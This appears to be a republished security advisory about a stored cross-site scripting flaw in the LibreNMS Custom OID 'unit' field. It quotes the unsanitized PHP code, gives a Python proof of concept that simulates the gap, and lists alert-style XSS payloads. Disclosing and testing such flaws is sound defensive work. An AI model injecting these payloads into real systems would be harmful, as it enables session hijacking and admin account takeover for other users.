Where
AND
-Infinity
0
Severity
5.4
EPSS
0.01%
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary The unit parameter in Custom OID functionality lacks striptags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.

Details Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21): php $name = striptags((string) $POST['name']); // line 18 - SANITIZED $oid = striptags((string) $POST['oid']); // line 19 - SANITIZED $datatype = striptags((string) $POST['datatype']); // line 20 - SANITIZED $unit = $POST['unit']; // line 21 - NOT SANITIZED!

Vulnerable Output (graphs/customoid.inc.php lines 13-20): php $customoidunit = $customoid['customoidunit']; // Retrieved from DB $customoidcurrent = \LibreNMS\Util\Number::formatSi(...) . $customoidunit; echo "...$customoidcurrent..."; // ECHOED WITHOUT ESCAPING!

PoC

python #!/usr/bin/env python3 """ XSS test for LibreNMS Custom OID - unit parameter """

import html as htmlmodule import re

def striptags(value): return re.sub(r'<[^>]?>', '', str(value))

Simulate form processing (customoid.inc.php lines 18-21) testinputs = { 'name': '<script>alert(1)</script>Test OID', 'oid': '1.3.6.1.4.1.2021.10.1.3.1', 'datatype': 'GAUGE', 'unit': '<script>alert("XSS")</script>', }

name = striptags(testinputs['name']) # Sanitized oid = striptags(testinputs['oid']) # Sanitized datatype = striptags(testinputs['datatype']) # Sanitized unit = testinputs['unit'] # NOT SANITIZED!

print("Input Processing Analysis:") print(f" name (striptags): {name}") print(f" oid (striptags): {oid}") print(f" datatype (striptags): {datatype}") print(f" unit (NO striptags): {unit}") print() print(" VULNERABILITY: 'unit' parameter has NO striptags()! ")

Test XSS payloads payloads = [ '<script>alert("XSS")</script>', '<img src=x onerror=alert(1)>', '<svg onload=alert(1)>', ]

print("\nXSS Payload Tests:") for payload in payloads: escaped = htmlmodule.escape(payload) hasxss = '<script>' in payload or 'onerror=' in payload.lower() print(f" Payload: {payload}") print(f" Raw (vulnerable): Contains executable code: {hasxss}") print(f" Escaped (safe): {escaped}")

Expected Output

Input Processing Analysis: name (striptags): alert(1)Test OID oid (striptags): 1.3.6.1.4.1.2021.10.1.3.1 datatype (striptags): GAUGE unit (NO striptags): <script>alert("XSS")</script>

VULNERABILITY: 'unit' parameter has NO striptags()! Impact - Attack Vector: User with device edit permissions sets malicious Unit value - Exploitation: XSS payload stored in database, executes for all users viewing device graphs - Consequences: - Session hijacking via cookie theft - Admin account takeover - Malicious actions on behalf of victims - Persistent attack affecting all users - Affected Users: All LibreNMS installations with Custom OID feature

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203